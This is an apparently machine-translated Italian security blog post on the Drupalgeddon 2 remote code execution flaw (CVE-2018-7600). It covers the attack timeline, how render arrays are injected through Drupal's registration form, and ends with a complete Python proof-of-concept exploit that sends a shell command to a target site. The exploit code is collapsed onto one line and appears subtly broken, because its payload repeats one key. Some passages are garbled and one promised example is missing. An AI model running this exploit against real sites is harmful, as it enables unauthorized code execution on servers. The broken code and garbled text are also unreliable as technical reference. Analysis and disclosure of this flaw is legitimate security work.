Drupalgeddon 2 RCE-SecPod Blog

Più di un milione di siti web attivi utilizzano Drupal, rendendolo il secondo sistema di gestione dei contenuti più utilizzato in tutto il mondo dopo WordPress. Il 28 marzo 2018, Drupal ha rilasciato patch di sicurezza per le versioni da 6 a 8 suggerendo di aggiornare immediatamente e contrassegnando la vulnerabilità sottostante (CVE-2018-7600) come critica con l’esecuzione di codice remoto. La scansione e gli attacchi ai siti Web che utilizzano Drupal sono aumentati esponenzialmente come previsto, ma non ci sono state segnalazioni di vulnerabilità sfruttate in natura. Poi qualche giorno fa un ricercatore di sicurezza russo ha pubblicato un codice di exploit proof-of-concept (POC) su GitHub e Internet è impazzito.

Lo sfruttamento accumulato e gli aggressori hanno iniziato a usarlo per installare minatori di criptovaluta e backdoor di malware. Si ritiene che sia coinvolta una delle campagne Monero miner che ha consegnato XMRig sfruttando la vulnerabilità (CVE-2017-10271) nei server Oracle WebLogic.

Come da statistiche, il 90% degli attacchi Drupalgeddon 2 non sono altro che scansioni per trovare sistemi vulnerabili, il 3% sono tentativi di infezione backdoor e il 2% sta tentando di eseguire minatori crittografici.

Drupal nel suo advisory ha avvertito che “i siti non patchati da mercoledì, 2018-04-11 potrebbero essere compromessi” e ” semplicemente aggiornando Drupal non rimuoverà le backdoor o risolverà i siti compromessi. Se si scopre che il sito è già patchato, ma non l’hai fatto, che può essere un sintomo che il sito è stato compromesso. Alcuni attacchi in passato hanno applicato la patch come un modo per garantire che solo che l’attaccante è in controllo del sito.”

Gergo tecnico

Drupal ha introdotto la sua API Form in Drupal 6 che ha permesso l’alterazione dei dati del modulo durante il processo di rendering del modulo. Questo ha rivoluzionato il modo in cui funzionava l’elaborazione del markup. In Drupal 7 l’API Form è stata generalizzata a ciò che ora è noto come “Array renderabili”. Questa API estesa viene utilizzata per rappresentare la struttura della maggior parte degli elementi dell’interfaccia utente in Drupal, come pagine, blocchi, nodi e altro. Gli array renderizzabili contengono metadati utilizzati nel processo di rendering. Questi array renderizzabili sono una struttura chiave-valore in cui le chiavi di proprietà iniziano con un segno di hash (#). Un esempio:

Drupal ha rilasciato una patch aggiungendo solo una singola classe RequestSanitizer con un metodo stripDangerousValues che disattiva tutti gli elementi in un array di input per le chiavi che iniziano con un segno hash. Questo metodo disinfetta i dati di input in Dru _GET, _ _POST & during _COOKIES durante le primissime fasi del bootstrap di Drupal (immediatamente dopo aver caricato le configurazioni del sito). Si può presumere che il motivo per cui la patch è stata rilasciata è quello di rendere una vulnerabilità esistente più difficile da trovare.

La vulnerabilità è stata trovata nei moduli. Il modulo di registrazione dell’utente che non richiede autenticazione e può essere accessibile in modo anonimo contiene più campi di input e può essere sfruttato.

Fonte immagine : Checkpoint, Dofinity

Era altamente probabile che l’iniezione di un array renderizzabile avrebbe sfruttato la vulnerabilità, la domanda era dove?

A quanto pare, il campo “Indirizzo email” non disinfetta il tipo di input che riceve, il che ci ha permesso di iniettare l’array renderizzabile nella struttura dell’array del modulo.

Fonte immagine : Checkpoint, Dofinity

Ora, tutto ciò di cui avevamo bisogno era che Drupal renderizzasse il nostro array iniettato. Poiché Drupal tratta il nostro array iniettato come un valore e non come un elemento, avevamo bisogno di ingannare Drupal nel renderlo. Drupal esegue il rendering di un array sull’evento di caricamento della pagina o tramite l’API Drupal AJAX.

Il campo” Immagine ” del modulo di registrazione utente utilizza l’API AJAX di Drupal per caricare un’immagine e sostituirla con una miniatura dell’immagine caricata.

Proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.

Related Posts